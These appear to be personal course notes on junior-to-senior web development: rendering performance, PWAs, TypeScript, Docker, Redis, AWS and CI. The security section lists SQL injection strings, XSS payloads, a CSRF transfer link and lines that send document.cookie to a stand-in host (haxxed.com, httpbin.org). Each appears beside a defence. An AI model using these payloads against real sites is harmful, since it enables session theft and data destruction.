Skip to the content.

Back

The Complete Junior to Senior Web Developer Roadmap 2020 Course

SSH

How SSH works

SSH 4 steps

RSA

Performance part 1

3 Keys to performance

Network Transfer

Critical Rendering Path

Critical Rendering Path

Optimizing the critical rendering path is the process of minimizing the total amount of time spent performing steps 1 through 5 in the above sequence.

When a user requests a page for your site the page HTML starts streaming to the browser. As soon as a browser encounters a tag for an external imagem, script or css file, it will start downloading the file simultaneously. When the browser receives thge HTML it does something called parsing.

After understanding the document this is what it does it starts creating the DOM, and again as it’s building that as soon as it sees an external resource it goes ahead and starts downloading all of those.

Usually the css and javascript files take high priority and other files like images take lower priority.

Well the first thing you want to do is to load styles that is CSS files as soon as possible and script that is javascript files as late as possible with a few exceptions here and there. So if you put javascript in the head tag in HTML, the problem with that positioning if it’s at the top is that it blocks page rendering scripts historically blocked additional resources from being downloaded more quickly. By replacing them at the bottom or by placing them at the bottom (After end body tag) you’re style content and media could start downloading more quickly given the perception of improved performance.

Load style tag in the head tag Load script right before closing the body tag

CSS is called render blocking because in order to construct the rendered tree and print something onto the screen we’re waiting for the CSS DOM to complete and combine it with the Dom to create the render tree, so CSS is rendered blocking.

Internal ou inline styleshees are more faster than external css files.

- Only load whatever is needed.
- Above the fold loading. ```javascript
const loadStyleSheet = src => {
	if (document.createStylesheet) {
		document.createStylesheet(src);
	} else {
		const stylesheet = document.createElement('link');
		stylesheet.href = src;
		stylesheet.type = 'text/css'
		stylesheet.rel = 'stylesheet'
		document.getElementsByTagName('head')[0].appendChild(stylesheet);
	}
}

window.onload = function() {
	loadStyleSheet('./style.css');
} ```
- Media attributes. ```css @media only screen and (min-width: 768px) {
/* tablets and desktop */ }

@media only screen and (max-width: 767px) { /* phones */ }

@media only screen and (max-width: 767px) and (orientation: portrait) { /* portrait phones */ }

or
```html
<link rel="stylesheet" href="./style.css" media="only screen and (min-width:500px)">
- Less specificity. ```css /* bad */ .header .nav .item .link a.important {
color: pink; }

/* good */ a.important { color: pink; }


- Step3 (JavaScript):

	- Load Scripts asynchronously
	- Defer Loading of scripts
	- Minimize DOM manipulation
	- Avoid long running Javascript

![Loading Third-Party JavaScript](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/loading-third-party-javascript/images/image_13.png)

```html
<script type="text/javascript"></script>
<!-- Critical scripts or your app script -->

<script type="text/javascript" async></script>
<!-- If the core functionality requires javascript -->
<!-- Third part scripts that don't affect the DOM -->

<script type="text/javascript" defer></script>
<!-- If the core functionality does not require javascript -->
<!-- Any third part scripts that arent that important and aren't above the fold -->

Your HTML will display quicker in older browsers if you keep the scripts at the end of the body right before closing the body tag. So, to preserve the load speed in older browsers, you don’t want to put them anywhere else.

If your second script depends upon the first script (e.g. your second script uses the jQuery loaded in the first script), then you can’t make them async without additional code to control execution order, but you can make them defer because defer scripts will still be executed in order, just not until after the document has been parsed. If you have that code and you don’t need the scripts to run right away, you can make them async or defer.

React + Redux

React code example - Robofriends project

React + Redux code example - Robofriends project

Performance part 2

Optimizing Code

Only load what is needed: - Code Splitting - Tree Shaking Avoid blocking main thread Avoid Memory Leaks Avoid Multiple re-rendering

Progressive Web Apps

Progressive Web Apps are web apps that use emerging web browser APIs and features along with traditional progressive enhancement strategy to bring a native app-like user experience to cross-platform web applications. Progressive Web Apps are a useful design pattern, though they aren’t a formalized standard.

In order to call a Web App a PWA, technically speaking it should have the following features: Secure contexts (HTTPS), one or more Service Workers, and a manifest file.

Making a Progressive Web App

Deployment on GitHub Pages

Progressive Tooling - A list of community-built, third-party tools that can be used to improve page performance

PWA code example - Robofriends project

Testing

Testing code example - Robofriends project

TypeScript

Compiled vs. Interpreted and Type Checking (Statically type-checked languages vs. Dynamically type-checked languages)

Compiled vs. Interpreted

When source code is translated.

Type Checking (Statically type-checked languages vs. Dynamically type-checked languages)

When types are checked. It’s the process of verifying and enforcing the constraints of types. Usually performed by the compiler or interpreter at compile or run time.

“3” + 5 will raise a type error in strongly typed languages, such as Python and Go, because they don’t allow for “type coercion”: the ability for a value to change type implicitly in certain contexts (e.g. merging two types using +). Weakly typed languages, such as JavaScript, won’t throw a type error (result: ‘35’).

The definitions of “Static & Compiled” and “Dynamic & Interpreted” are quite similar…but remember it’s “when types are checked” vs. “when source code is translated”.

Type-checking has nothing to do with the language being compiled or interpreted! You need to separate these terms conceptually.

Statically type-checked languages pros and cons:

Dynamically type-checked languages pros and cons:

But What are Strongly Typed and Weakly Typed Languages?

It’s a spectrum (turns out, there is no official demarcation of these terms agreed throughout the industry. It’s a spectrum.). So, this will be the terms the way they are often used.

In Strongly typed languages once a type is assigned to a variable say at run time or compile time, it retains that type and can’t be intermingled in expressions with other types easily.

Whereas, in Weakly typed languages, once a type is assigned to a variable say at run-time or compile-time, it can be intermingled in expressions with other types easily.

Diagram

Python Example (Dynamic, Interpreted):

def foo(a):
    if a > 0:
        print 'Hi'
    else:
        print "3" + 5
foo(2)

Because Python is both interpreted and dynamically typed, it only translates and type-checks code it’s executing on. The else block never executes, so “3” + 5 is never even looked at!

A type error would be thrown before the code is even run. It still performs type-checking before run-time even though it is interpreted.

The else block would be translated/looked at before run-time, but because it’s dynamically typed it wouldn’t throw an error! Dynamically typed languages don’t check types until execution, and that line never executes.

Performance

A compiled language will have better performance at run-time if it’s statically typed because the knowledge of types allows for machine code optimization.

Statically typed languages have better performance at run-time intrinsically due to not needing to check types dynamically while executing (it checks before running).

Similarly, compiled languages are faster at run time as the code has already been translated instead of needing to “interpret”/translate it on the fly.

Note that both compiled and statically typed languages will have a delay before running for translation and type-checking, respectively.

Static typing catches errors early, instead of finding them during execution (especially useful for long programs). It’s more “strict” in that it won’t allow for type errors anywhere in your program and often prevents variables from changing types, which further defends against unintended errors.

References

TypeScript

TypeScript is an object-oriented programming language developed and maintained by the Microsoft Corporation. It is a typed superset of JavaScript that compiles to plain JavaScript.

TypeScript totally follows the OOPS concept and with the help of TSC (TypeScript Compiler), we can convert Typescript code (.ts file) to JavaScript (.js file).

TypeScript

Overview

//boolean
let isCool: boolean = false;

//number
let age: number = 56;

//string
let eyeColor: string = 'brown';
let favoriteQuote: string = `I'm not old, I'm only ${age}`;

//Array
let pets: string[] = ['cat', 'mouse', 'dragon'];
let pets2: Array<string> = ['pig', 'lion', 'dragon'];

//Tuple
let basket: [string, number];
basket = ['basketball', 10];

//Enum
enum Size {Small = 1, Medium, Large}
let sizeName: string = Size[2];
alert(sizeName); // Displays 'Medium' as its value is 2 above

//Any
let whatever: any = 'aaaaghhhhhh noooooo!';

//void
let sing = (): void => console.log('Lalalala')

//null and undefined
let meh: undefined = undefined;
let noo: null = null;

//never
let error = (): never => {
  throw Error('blah!');
}

// Type Assertions:
let ohhithere: any = "OH HI THERE";

let strLength: number = (ohhithere as string).length;

//Interface
interface RobotArmy {
  count: number,
  type: string,
  magic?: string
}

let fightRobotArmy = (robots: RobotArmy) =>{
  console.log('FIGHT!');
}
let fightRobotArmy2 = (robots: {count: number, type: string, magic?: string}) =>{
  console.log('FIGHT!');
}

//Function
let fightRobotArmyF = (robots: RobotArmy): void =>{
  console.log('FIGHT!');
}
let fightRobotArmy2F = (robots: {count: number, type: string, magic?: string}): void =>{
  console.log('FIGHT!');
}

// *** Classes
class Animal {
    private sing: string;
    constructor(sound: string) {
        this.sing = sound;
    }
    greet() {
        return "Hello, " + this.sing;
    }
}

let lion = new Animal("Lion");
// lion.sing


//In TypeScript, there are several places where type inference
//is used to provide type information when there is no explicit
//type annotation. For example, in this code
let x = 3;
// automatimally detexts x is a number.

//Union Type
let confused: string | number = 'hello'

Download TypeScript

Compiler Options

TypeScript for JavaScript Programmers

tsconfig.json

DefinitelyTyped - The repository for high quality TypeScript type definitions

Adding TypeScript to a React project

Cons

TypeScript adds a lot of complexity to a project:

Switching to it in an existing project is definitely a lot of work and it should be strongly thought over before doing so. Some libraries are of course written in TypeScript, such as material-ui, but some require you to install an additional types/ dependency which can be a bit annoying, not mentioning the packages that don’t support type definitions well or not at all.

TypeScript code example - Robofriends project

Server-side rendering (SSR) and Client-side rendering (CSR)

CSR

Pros

Cons

SSR

Pros

Cons

Gatsby

Next.js

How to do Hard Refresh in Browsers

Server-side vs Client-side Routing

When everything’s important, nothing is!

Security

Star Of Security

Injections

Injection Theory

' or 1=1 --'

'; DROP TABLE users; --'

To fix them:

Example that is not SQL

Client side:

<!DOCTYPE html>
<html>
<head>
  <title>🔥Make Me Secure!</title>
  <link rel="stylesheet" type="text/css" href="./style.css">
</head>
<body>
  <h1>Security Playground 😱🔥</h1>
  <div>
    <input id="userinput" type="text">
    <button onclick="sendToServer()">Submit</button>
    <h2 id="pleaseNo"></h2>
  </div>
  <script src="./script.js"></script>
</body>
</html>
// try inputting this: <script>alert('hi')</script>
// Now, try inputting this: <img src="/" onerror = "alert(1);">
// Scripts injected into the DOM via script tags in innerHTML
// are not run at the time they are injected (inline scripts
// are run at the time the original page is parsed). On the
// other hand, images injected into the DOM are loaded at that
// time, and if the loading fails, then the onerror event
//handler is called.
const userInputInHTML = (input) => {
  const p = document.getElementById("pleaseNo")
  // Bad
  p.innerHTML = input;

  // Better
  // var textnode = document.createTextNode(input);
  // p.appendChild(textnode);
}
const sendToServer = () => {
  const input = document.querySelector('#userinput').value;
  userInputInHTML(input)
  fetch('http://localhost:3000/secret', {
    method: 'POST',
    body: JSON.stringify({userInput: input}),
    headers: new Headers({
      'Content-Type': 'application/json'
    })
  })

Server side:

const express = require('express')
const cors = require('cors')
const helmet = require('helmet')
var winston = require('winston');

const bodyParser = require('body-parser');
const app = express()
app.use(cors())
app.use(helmet())
app.use(bodyParser.json())

app.get('/', (req, res) => res.send('Hello World!'))

app.post('/secret', (req, res) => {
  const { userInput } = req.body;
  console.log(userInput);
  if (userInput) {
    winston.log('info', 'user input: ' + userInput);
    res.status(200).json('success');
  } else {
    winston.error('This guy is messing with us:' + userInput);
    res.status(400).json('incorrect submission')
  }
})

app.listen(3000, () => console.log('Example app listening on port 3000!'))

3rd party libraries

nsp

Node Security helps you keep your node applications secure.

npm install -g nsp
nsp check # audit package.json

Snyk CLI

Snyk scans and monitors your projects for security vulnerabilities.

npm install -g snyk
snyk auth
snyk test # audit node_modules directory

Logging

npm install winston
npm install morgan

HTTPs everywhere

ssl/tls certificates:

XSS (Cross-Site Scripting) & CSRF (Cross-Site Request Forgery)

<img src="/" onerror="alert('boom');">
window.locatiom = 'haxxed.com?cookie=' + document.cookie
<a href="http://netbank.com/transfer.do?acct=AttackerA&amount;=$100">Read more</a>
fetch('//httpbin.org/post', {method:'POST',body:document.cookie})

'Content-Security-Policy': "script-src 'self' 'https://api.google.com'"

csurf

Node.js CSRF protection middleware

npm install csurf

Store config in the environment

Secure Headers

Data Management

How to store user passwords

Authentication

Authentication vs Authorization

Code Analysis

MySQL vs Postgres Postgres vs MySQL

Docker

Docker Hub

Smart Brain API Dockerized

docker build -t tagname .

docker run -it tagname

change version docker file

docker build -t tagname .

docker run -it tagname

docker run tagname

docker run -t -d tagname

docker ps

docker exec -it CONTAINER ID bash

docker stop CONTAINER ID

docker run -it -p 3000:3000 tagname

docker compose

docker-compose build

docker-compose run smart-brain-api

docker-compose down

docker-compose up --build
version: '3.6'

services:
	# Backend API
	smart-brain-api:
		container_name: backend
		build: ./
		command: npm start
		working_dir: /usr/src/smart-brain-api
		environment:
			POSTGRES_URI: postgres://sally:secret@postgres:5432/smart-brain-docker
		links:
			- postgres
		ports:
			- "3000:3000"
		volumes:
			- ./:/usr/src/smart-brain-api

	# Postgres
	postgres:
		build: ./postgres
		environment:
			POSTGRES_USER: sally
			POSTGRES_PASSWORD: secret
			POSTGRES_DB: smart-brain-docker
			POSTGRES_HOST: postgres
		ports:
			- "5432:5432"

Redis

Redis

> SET name "TestName"
OK
> GET name
"TestName"
> EXISTS name
(integer) 1
> EXISTS name2
(integer) 0
> DEL name
(integer) 1
> EXISTS name
(integer) 0
> GET name
(nil)

> MSET a 2 b 5
OK
> GET a
"2"
> GET b
"5"
> MGET a b
1) "2"
2) "5"

types

> HMSET user id 45 name "TestName"
OK
> HGET user
(error) wrong number of arguments (given 1, expected 2)
> HGET user id
"45"
> HGET user name
"TestName"
> HGETALL user
1) "id"
2) "45"
3) "name"

list:

> LPUSH ourlist 10
(integer) 1
> RPUSH ourlist "Test"
(integer) 2
> GET ourlist
(error) WRONGTYPE Operation against a key holding the wrong kind of value
> LRANGE ourlist 0 1
1) "10"
2) "Test"
> LPUSH ourlist 55
(integer) 3
> LRANGE ourlist 0 1
1) "55"
2) "10"
> RPOP ourlist
"Test"
> LRANGE ourlist 0 1
1) "55"
2) "10"
> LRANGE ourlist 0 2
1) "55"
2) "10"

sets (unordered) (not allowing repeated values):

> SADD ourset 1 2 3 4 5
(integer) 5
> SMEMBERS ourset
1) "1"
2) "2"
3) "3"
4) "4"
5) "5"
> SADD ourset 1 2 3 4
(integer) 0
> SMEMBERS ourset
1) "1"
2) "2"
3) "3"
4) "4"
5) "5"
> SADD ourset 1 2 3 4 5 6 7
(integer) 2
> SMEMBERS ourset
1) "1"
2) "2"
3) "3"
4) "4"
5) "5"
6) "6"
7) "7"
> SISMEMBER ourset 5
(integer) 1
> SISMEMBER ourset 9
(integer) 0

ordered sets:

> ZADD team 50 "Wizards"
(integer) 1
> ZADD team 40 "Cavaliers"
(integer) 1
> ZRANGE team 0 1
1) "Cavaliers"
2) "Wizards"
> ZADD team 1 "Bolts"
(integer) 1
> ZRANGE team 0 2
1) "Bolts"
2) "Cavaliers"
3) "Wizards"
> ZRANK team "Wizards"
2

Sessions + JWT

AWS

Amazon Web Services

Services:

Smart Brain Boost Lambda

'use strict';

const emojis = [
  '😄','😃','😀','😊','😉','😍','🔶','🔷', '🚀'
];
module.exports.hello = (event, context, callback) => {
  const rank = event.queryStringParameters.rank;
  const rankEmoji = emojis[rank >= emojis.length ? emojis.length - 1 : rank];
  const response = {
    statusCode: 200,
    headers: {
      "Access-Control-Allow-Origin" : "*" // Required for CORS support to work
    },
    body: JSON.stringify({
      message: 'Rank generated!',
      input: rankEmoji,
    }),
  };

  callback(null, response);

  // Use this code if you don't use the http event with the LAMBDA-PROXY integration
  // callback(null, { message: 'Go Serverless v1.0! Your function executed successfully!', event });
};

Performance part 3

Backend:

const express = require('express')
const cors = require('cors')
const path = require('path')

const app = express()
app.use(cors())
app.use('/static', express.static(path.join(__dirname, 'public'), {'maxage': '2h'}))

app.get('/hi', (req, res) => {
	res.header('Cache-Control', 'public, max-age=86400')
	res.header('Content-Type', 'text/html')
	res.send(new Buffer('<h2>Test String</h2>'))
})

Load Balancing:

CI/CD

Robofriends CI

config.yaml example:

version: 2
jobs:
   build:
     docker:
       - image: circleci/node:8.9
     steps:
       - checkout
       - run: npm install
       - run: CI=true npm run build
   test:
     docker:
       - image: circleci/node:8.9
     steps:
       - checkout
       - run: npm install
       - run: npm run test
   hithere:
     docker:
       - image: circleci/node:8.9
     steps:
       - checkout
       - run: echo "Hellloooo!"
workflows:
  version: 2
  build-test-and-lint:
    jobs:
      - build
      - hithere
      - test:
          requires:
            - hithere

Extra Bits

Complexity vs Simplicity